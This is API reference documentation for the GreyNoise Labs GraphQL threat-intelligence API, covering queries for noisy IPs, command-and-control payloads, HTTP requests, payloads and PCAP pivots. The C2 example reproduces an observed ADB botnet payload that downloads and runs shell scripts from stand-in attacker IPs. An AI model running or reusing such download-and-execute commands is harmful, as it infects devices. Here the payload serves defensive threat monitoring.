GreyNoise Labs API Reference

Welcome to the the GreyNoise Labs API!

You will need to sign-up for a GreyNoise account to use the API.

Once you have an account, check out our GraphQL Playground.

No SLA exists for this API and it is subject to change without notice as it should be considered experimental only.

Check out our new REST API proxy documentation for a new REST variant of this API.

Contact

Labs Team

labs@greynoise.io

https://labs.greynoise.io

API Endpoints

# Experimental GraphQL Endpoint:
https://api.labs.greynoise.io/1/query

Headers

# Tokens may be copied from the playground headers.
Authorization: Bearer <YOUR_TOKEN_HERE>

Data Limits

All API queries have a data limit that defaults to 1% of available data, or 10 results, whichever is greater. This limit is calculated on the filtered data set, not the raw data set. In some cases like C2s, the team has elected to lift the limit to 10%. Every response will include a queryInfo field that will indicate the limit used for that query vs. the raw data available.

Rate Limits

All API queries have a rate limit.

API Clients

This is a GraphQL API, any GraphQL client that supports Bearer token Authorization should work. If you would like to use a similar environment to the Playground you can download the Altair desktop client.

Queries

`generateGNQL`

Description

Translate the input_text into usable GreyNoise GNQL queries.

Response

Returns a NoiseGPT!

Arguments

Name	Description
`input_text` - `String!`

Example

Query

query GenerateGNQL($input_text: String!) {
  generateGNQL(input_text: $input_text) {
    input_text
    queries
  }
}

Variables

{"input_text": "abc123"}

Response

{
  "data": {
    "generateGNQL": {
      "input_text": "show me results starting in Brazil and targeting the US and are on port 22.",
      "queries": [
        "metadata.country_code:BR AND destination_country_code:US AND raw_data.scan.port:22"
      ]
    }
  }
}

Queries

`noiseRank`

Description

Return the top 1% of ranked IPs by noise score over the previous 7 days of traffic along with their pervasiveness and diversity scores for each scored metric. This endpoint also supports a single IP as input to pull it's specific noise rank information.

Response

Returns a NoiseRankResult!

Arguments

Name	Description
`ip` - `String`

Example

Query

query NoiseRank($ip: String) {
  noiseRank(ip: $ip) {
    queryInfo {
      resultsAvailable
      resultsLimit
    }
    ips {
      ip
      noise_score
      sensor_pervasiveness
      country_pervasiveness
      payload_diversity
      port_diversity
      request_rate
    }
  }
}

Variables

{"ip": "xyz789"}

Response

{
  "data": {
    "noiseRank": {
      "queryInfo": QueryInfo,
      "ips": [NoiseRank]
    }
  }
}

Queries

`pivot`

Description

Convert the supplied PCAP file into either extracted metadata OR GNQL queries

Response

Returns a PivotResult!

Arguments

Name	Description
`input` - `PivotInput!`

Example

Query

query Pivot($input: PivotInput!) {
  pivot(input: $input) {
    ... on GNQLResult {
      queries {
        ...GNQLQueryFragment
      }
    }
    ... on PCAPResponse {
      id
      ips {
        ...PivotIPFragment
      }
    }
  }
}

Variables

{"input": PivotInput}

Response

{"data": {"pivot": GNQLResult}}

Queries

`topC2s`

Description

Return the top 1% of C2s ranked by pervasiveness GreyNoise has observed over the previous 24 hours. This data may be up to 4.5 hours old.

Response

Returns a C2Result!

Example

Query

query TopC2s {
  topC2s {
    queryInfo {
      resultsAvailable
      resultsLimit
    }
    c2s {
      source_ip
      c2_ips
      c2_domains
      payload
      hits
      pervasiveness
    }
  }
}

Response

{
  "data": {
    "topC2s": {
      "queryInfo": QueryInfo,
      "c2s": [C2]
    }
  }
}

Queries

`topHTTPRequests`

Description

Return the top 1% of HTTP requests ranked by pervasiveness GreyNoise has observed over the last 7 days. This data may be up to 4.5 hours old. The '/' path has been removed as this is less useful in most contexts.

Response

Returns an HTTPResult!

Arguments

Name	Description
`input` - `HTTPInput`

Example

Query

query TopHTTPRequests($input: HTTPInput) {
  topHTTPRequests(input: $input) {
    queryInfo {
      resultsAvailable
      resultsLimit
    }
    httpRequests {
      source_ip_count
      request_count
      pervasiveness
      method
      path
      request_headers
      source_ips
    }
  }
}

Variables

{"input": HTTPInput}

Response

{
  "data": {
    "topHTTPRequests": {
      "queryInfo": QueryInfo,
      "httpRequests": [HTTPRequest]
    }
  }
}

Queries

`topKnocks`

Description

Return the top 1% of Knock results by most recently seen that GreyNoise has scanned back over the last 7 days. This data may be up to 12 hours old. This endpoint also supports a single IP as input to pull it's specific knock information.

Response

Returns a KnockResult!

Arguments

Name	Description
`ip` - `String`

Example

Query

query TopKnocks($ip: String) {
  topKnocks(ip: $ip) {
    queryInfo {
      resultsAvailable
      resultsLimit
    }
    knock {
      last_crawled
      last_seen
      source_ip
      knock_port
      title
      favicon_mmh3_32
      favicon_mmh3_128
      jarm
      ips
      emails
      links
      tor_exit
      headers
      apps
    }
  }
}

Variables

{"ip": "xyz789"}

Response

{
  "data": {
    "topKnocks": {
      "queryInfo": QueryInfo,
      "knock": [Knock]
    }
  }
}

Queries

`topPayloads`

Description

Return the top 1% of payloads ranked by pervasiveness GreyNoise has observed over the last 7 days. This data may be up to 4.5 hours old.

Response

Returns a PayloadResult!

Arguments

Name	Description
`input` - `PayloadInput`

Example

Query

query TopPayloads($input: PayloadInput) {
  topPayloads(input: $input) {
    queryInfo {
      resultsAvailable
      resultsLimit
    }
    payloads {
      source_ip_count
      request_count
      pervasiveness
      protocol
      size
      payload
      payload_b64
      sha256_sum
      source_ips
      countries
    }
  }
}

Variables

{"input": PayloadInput}

Response

{
  "data": {
    "topPayloads": {
      "queryInfo": QueryInfo,
      "payloads": [Payload]
    }
  }
}

Queries

`topPopularIPs`

Description

Return the top 1% of IPs searched in GreyNoise ordered by the number of users observed over the last 7 days. This data may be up to 4.5 hours old. and then the number of times it was requested.

Response

Returns a PopularIPResult!

Example

Query

query TopPopularIPs {
  topPopularIPs {
    queryInfo {
      resultsAvailable
      resultsLimit
    }
    popularIPs {
      ip
      request_count
      users_count
      last_requested
      noise
      last_seen
    }
  }
}

Response

{
  "data": {
    "topPopularIPs": {
      "queryInfo": QueryInfo,
      "popularIPs": [PopularIP]
    }
  }
}

Types

Boolean

Description

The Boolean scalar type represents true or false.

Example

true

Types

C2

Fields

Field Name	Description
`source_ip` - `ID!`	The source IP that sent the payload.
`c2_ips` - `[String]!`	The potential IPs used within this payload.
`c2_domains` - `[String]!`	The potential C2 domains used within this payload.
`payload` - `String!`	The ASCII escaped payload observed by a GreyNoise Sensor containing content that appears to communicate with a command and control server.
`hits` - `Int!`
`pervasiveness` - `Int!`	A score from 0 - 100 that indicates how widespread this payload was across the internet. A score of 0 indicates that less than 1% of they GreyNoise fleet saw this specific payload.

Example

{
  "source_ip": "1.2.3.4",
  "c2_ips": ["5.6.7.8", "9.10.11.12"],
  "c2_domains": ["example.com"],
  "payload": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000:\u0001\u0000\u0000�`\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://5.6.7.8/w.sh; sh w.sh; curl http://9.10.11.12/c.sh; sh c.sh; wget http://5.6.7.8/wget.sh; sh wget.sh; curl http://9.10.11.12/wget.sh; sh wget.sh; busybox wget http://5.6.7.8/wget.sh; sh wget.sh; busybox curl http://9.10.11.12/wget.sh; sh wget.sh\u0000",
  "hits": 183,
  "pervasiveness": 60
}

Types

C2Result

Fields

Field Name	Description
`queryInfo` - `QueryInfo!`
`c2s` - `[C2!]!`

Example

{
  "queryInfo": QueryInfo,
  "c2s": [C2]
}

Types

GNQLQuery

Fields

Field Name	Description
`type` - `String!`
`urls` - `[String!]!`

Example

{
  "type": "xyz789",
  "urls": ["xyz789"]
}

Types

GNQLResult

Fields

Field Name	Description
`queries` - `[GNQLQuery!]!`

Example

{"queries": [GNQLQuery]}

Types

HTTPInput

Fields

Input Field	Description
`userAgent` - `String`	Specify the user-agent to filter on. This is case sensitive.

Example

{"userAgent": "abc123"}

Types

HTTPRequest

Fields

Field Name	Description
`source_ip_count` - `Int!`	The total number of source IPs that sent this HTTP request.
`request_count` - `Int!`	The total number of times GreyNoise observed this HTTP request.
`pervasiveness` - `Int!`	A score from 0 - 100 that indicates how widespread this payload was across the internet. A score of 0 indicates that less than 1% of they GreyNoise fleet saw this specific payload.
`method` - `String!`	The HTTP Method used in the request.
`path` - `String!`
`request_headers` - `[String!]!`	The HTTP headers as a single "k:v,k:v" string used in this request.
`source_ips` - `[String!]!`	The source IPs that this request was seen from.

Example

{
  "source_ip_count": 10,
  "request_count": 1949,
  "pervasiveness": 98,
  "method": "GET",
  "path": "/_stats",
  "request_headers": [
    "[Connection:close, Accept-Encoding:gzip, User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36]"
  ],
  "source_ips": ["1.2.3.4", "4.5.6.7"]
}

Types

HTTPResult

Fields

Field Name	Description
`queryInfo` - `QueryInfo!`
`httpRequests` - `[HTTPRequest!]!`

Example

{
  "queryInfo": QueryInfo,
  "httpRequests": [HTTPRequest]
}

Types

ID

Description

The ID scalar type represents a unique identifier, often used to refetch an object or as key for a cache. The ID type appears in a JSON response as a String; however, it is not intended to be human-readable. When expected as an input type, any string (such as "4") or integer (such as 4) input value will be accepted as an ID.

Example

Types

Int

Description

The Int scalar type represents non-fractional signed whole numeric values. Int can represent values between -(2^31) and 2^31 - 1.

Example

Types

Knock

Fields

Field Name	Description
`last_crawled` - `Time!`
`last_seen` - `Time!`	The approximate time that GreyNoise crawled this source_ip.
`source_ip` - `String!`	The last time GreyNoise observed traffic from the source_ip.
`knock_port` - `Int!`	The IPv4 addresses that was observed by GreyNoise and scanned back.
`title` - `String!`	The HTTP/S port used to crawl the source_ip.
`favicon_mmh3_32` - `Int!`	The HTTP title from the response.
`favicon_mmh3_128` - `String!`	The base-64 encoded 128-bit Murmur3 hash of the favicon.ico.
`jarm` - `String!`	The detected JARM hash of services running at the target port.
`ips` - `[String!]!`	The list of IPv4 addresses extracted from the HTTP request body.
`emails` - `[String!]!`	The list of emails extracted from the HTTP request body.
`links` - `[String!]!`	The list of HTTP links extracted from the HTTP request body.
`tor_exit` - `Boolean!`	Is this IP a known Tor exit node.
`headers` - `String!`	The list of response headers returned from the HTTP request.
`apps` - `String!`	The list of applications that were detected in the HTTP response body and their associated versions if detected.

Example

{
  "last_crawled": "2023-05-11T20:28:45Z",
  "last_seen": "2023-05-11T16:25:04Z",
  "source_ip": "141.212.122.142",
  "knock_port": 80,
  "title": "Connection attempts",
  "favicon_mmh3_32": -1561873722,
  "favicon_mmh3_128": "gAt6r5W0xcNAH8HhOfwVpw==",
  "jarm": "07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1",
  "ips": [
    "141.212.120.0",
    "141.212.121.0",
    "141.212.122.0",
    "141.212.124.0",
    "141.212.125.0",
    "141.212.123.0"
  ],
  "emails": ["scan-admin@umich.edu"],
  "links": ["https://cse.engin.umich.edu"],
  "tor_exit": false,
  "headers": {
    "Accept-Ranges": ["bytes"],
    "Content-Length": ["364"],
    "Content-Type": ["text/html"],
    "Date": ["Fri, 12 May 2023 05:29:35 GMT"],
    "Etag": ["\"1428014595\""],
    "Last-Modified": ["Tue, 02 Feb 2021 02:02:30 GMT"],
    "Server": ["lighttpd/1.4.55"],
    "X-Frame-Options": ["SAMEORIGIN"]
  },
  "apps": [{"app_name": "lighttpd", "version": "1.4.55"}]
}

Types

KnockResult

Fields

Field Name	Description
`queryInfo` - `QueryInfo!`
`knock` - `[Knock!]!`

Example

{
  "queryInfo": QueryInfo,
  "knock": [Knock]
}

Types

NoiseGPT

Fields

Field Name	Description
`input_text` - `String!`	The input text that was provided for translation.
`queries` - `[String]!`	The GNQL queries generated.

Example

{
  "input_text": "show me results starting in Brazil and targeting the US and are on port 22.",
  "queries": [
    "metadata.country_code:BR AND destination_country_code:US AND raw_data.scan.port:22"
  ]
}

Types

NoiseRank

Fields

Field Name	Description
`ip` - `String!`	The source IP that sent packets to a GreyNoise sensor.
`noise_score` - `Int!`	An aggregate noise score from 0-100 that shows how noisy a given source IP is.
`sensor_pervasiveness` - `String!`	A 5 category breakdown from very low, low, med, high, very high, that describes how many of the GreyNoise sensors observed this source IP.
`country_pervasiveness` - `String!`	A 5 category breakdown from very low, low, med, high, very high, that describes how many of the destination countries observed this source IP.
`payload_diversity` - `String!`	A 5 category breakdown from very low, low, med, high, very high, that describes how many distinct payloads were seen from this source IP.
`port_diversity` - `String!`	One of the following cat very low, low, med, high, very high, that describes how many distinct ports received packets from this source IP.
`request_rate` - `String!`	A 5 category breakdown from very low, low, med, high, very high, that describes how many packets were seen overall from this source IP.

Example

{
  "ip": "1.2.3.4",
  "noise_score": 89,
  "sensor_pervasiveness": "very low",
  "country_pervasiveness": "low",
  "payload_diversity": "med",
  "port_diversity": "high",
  "request_rate": "very high"
}

Types

NoiseRankResult

Fields

Field Name	Description
`queryInfo` - `QueryInfo!`
`ips` - `[NoiseRank!]!`

Example

{
  "queryInfo": QueryInfo,
  "ips": [NoiseRank]
}

Types

PCAPResponse

Fields

Field Name	Description
`id` - `String!`
`ips` - `[PivotIP!]!`

Example

{
  "id": "741912a3-8f19-4004-a089-35c7c5f8bbf2",
  "ips": [PivotIP]
}

Types

Payload

Fields

Field Name	Description
`source_ip_count` - `Int!`	The total number of source IPs that sent this HTTP request.
`request_count` - `Int!`	The total number of times GreyNoise observed this HTTP request.
`pervasiveness` - `Int!`	A score from 0 - 100 that indicates how widespread this payload was across the internet. A score of 0 indicates that less than 1% of they GreyNoise fleet saw this specific payload.
`protocol` - `String!`	The transport layer protcol observed..
`size` - `Int!`	The size of the original (pre-truncation) payload in bytes.
`payload` - `String!`	The first 1kb of the observed payload as UTF-8 escaped.
`payload_b64` - `String!`	The first 1kb of the observed payload as base64 of the raw binary.
`sha256_sum` - `String!`	SHA256 of the entire original payload (while the 1Kb truncation does not apply here, we do truncate to 10240Kb on the sensor).
`source_ips` - `[String!]!`	The source IPs that this payload was seen from.
`countries` - `[String!]!`	The destination countries where a GreyNoise sensor observed this payload.

Example

{
  "source_ip_count": 10,
  "request_count": 1949,
  "pervasiveness": 98,
  "protocol": "TCP",
  "size": 56,
  "payload": "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0 Connection: close",
  "payload_b64": "R0VUIC9uaWNlJTIwcG9ydHMlMkMvVHJpJTZFaXR5LnR4dCUyZWJhayBIVFRQLzEuMA0KQ29ubmVjdGlvbjogY2xvc2UNCg0K",
  "sha256_sum": "fe477b15f73801346f124bef47235b73f7a373dd12ff05e67789192b1e73f4ac",
  "source_ips": ["1.2.3.4", "4.5.6.7"],
  "countries": ["France", "Belgium"]
}

Types

PayloadInput

Fields

Input Field	Description
`protocol` - `String`	Specify the protocol to filter on.
`limit` - `Int`	Specify the limit of results to return, default is 10,000. (You will be limited to 1% of the total results available)

Example

{"protocol": "abc123", "limit": 123}

Types

PayloadResult

Fields

Field Name	Description
`queryInfo` - `QueryInfo!`
`payloads` - `[Payload!]!`

Example

{
  "queryInfo": QueryInfo,
  "payloads": [Payload]
}

Types

PivotIP

Fields

Field Name	Description
`ip` - `String!`	The IP that was extracted from the PCAP.
`firstPacketTime` - `Time!`	The first time this IP was observed in the PCAP.
`lastPacketTime` - `Time!`	The last time this IP was observed in the PCAP.
`portCounts` - `[PortCount!]!`	The number of times this IP sent packets to each TCP or UDP port.
`paths` - `[String!]!`	The unique list of HTTP request paths that were observed in the PCAP.
`userAgents` - `[String!]!`	The unique list of HTTP user agent headers that were observed in the PCAP.
`ja3` - `[String!]!`	The unique list of JA3 signatures that were observed in the PCAP.
`hassh` - `[String!]!`	The unique list of HASSH signatures that were observed in the PCAP.
`hostnames` - `[String!]!`	The unique list of hostnames that were observed in the PCAP. These include names from DNS queries, SNI, and HTTP requests.

Example

{
  "ip": "1.2.3.4",
  "firstPacketTime": "2006-01-02T15:04:05.999999-0700",
  "lastPacketTime": "2006-01-02T15:04:05.999999-0700",
  "portCounts": [PortCount],
  "paths": [
    "/filestreamingservice/files/2132f61f-f790-4ae6-a355-8cf9a1533800",
    "/filestreamingservice/files/d6dac2cd-b55a-4a7d-aeb4-1cff97bb9dd4",
    "/filestreamingservice/files/b22f5f18-f7ea-4290-929d-b13c03908334"
  ],
  "userAgents": [
    "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.963"
  ],
  "ja3": ["3c293bdf2a25c07559b560ba86debc77"],
  "hassh": ["b5752e36ba6c5979a575e43178908adf"],
  "hostnames": ["example.com"]
}

Types

PivotInput

Fields

Input Field	Description
`file` - `Upload!`
`gnql` - `Boolean!`
`reverse` - `Boolean!`
`ignorePrivate` - `Boolean!`
`ignoreFlows` - `Boolean!`

Example

{
  "file": Upload,
  "gnql": false,
  "reverse": false,
  "ignorePrivate": true,
  "ignoreFlows": false
}

Types

PivotResult

Types

Union Types
`GNQLResult`
`PCAPResponse`

Example

GNQLResult

Types

PopularIP

Fields

Field Name	Description
`ip` - `String!`	The IP that was searched by a collection of GreyNoise users.
`request_count` - `Int!`	The number of times this IP was requested by all users.
`users_count` - `Int!`	The number of users that requested this IP.
`last_requested` - `Time!`	The last time this IP was requested.
`noise` - `Boolean!`	This IP was observed by GreyNoise sensors.
`last_seen` - `Time`	The last time this IP was observed by GreyNoise sensors.

Example

{
  "ip": "1.2.3.4",
  "request_count": 22314,
  "users_count": 475,
  "last_requested": "2023-05-11T16:25:04Z",
  "noise": true,
  "last_seen": "2023-05-11T16:25:04Z"
}

Types

PopularIPResult

Fields

Field Name	Description
`queryInfo` - `QueryInfo!`
`popularIPs` - `[PopularIP!]!`

Example

{
  "queryInfo": QueryInfo,
  "popularIPs": [PopularIP]
}

Types

PortCount

Fields

Field Name	Description
`port` - `String!`	The port to which packets were sent.
`count` - `Int!`	The number of packets sent to the port.

Example

{"port": "80/TCP", "count": 140}

Types

QueryInfo

Fields

Field Name	Description
`resultsAvailable` - `Int!`	The total number of distinct results GreyNoise has available for this data type.
`resultsLimit` - `Int!`	The current limit being applied on the response.

Example

{"resultsAvailable": 987, "resultsLimit": 987}

Types

String

Description

The String scalar type represents textual data, represented as UTF-8 character sequences. The String type is most often used by GraphQL to represent free-form human-readable text.

Example

"abc123"

Types

Time

Example

"10:15:30Z"

Types

Upload

Example

Upload

Documentation by Anvil SpectaQL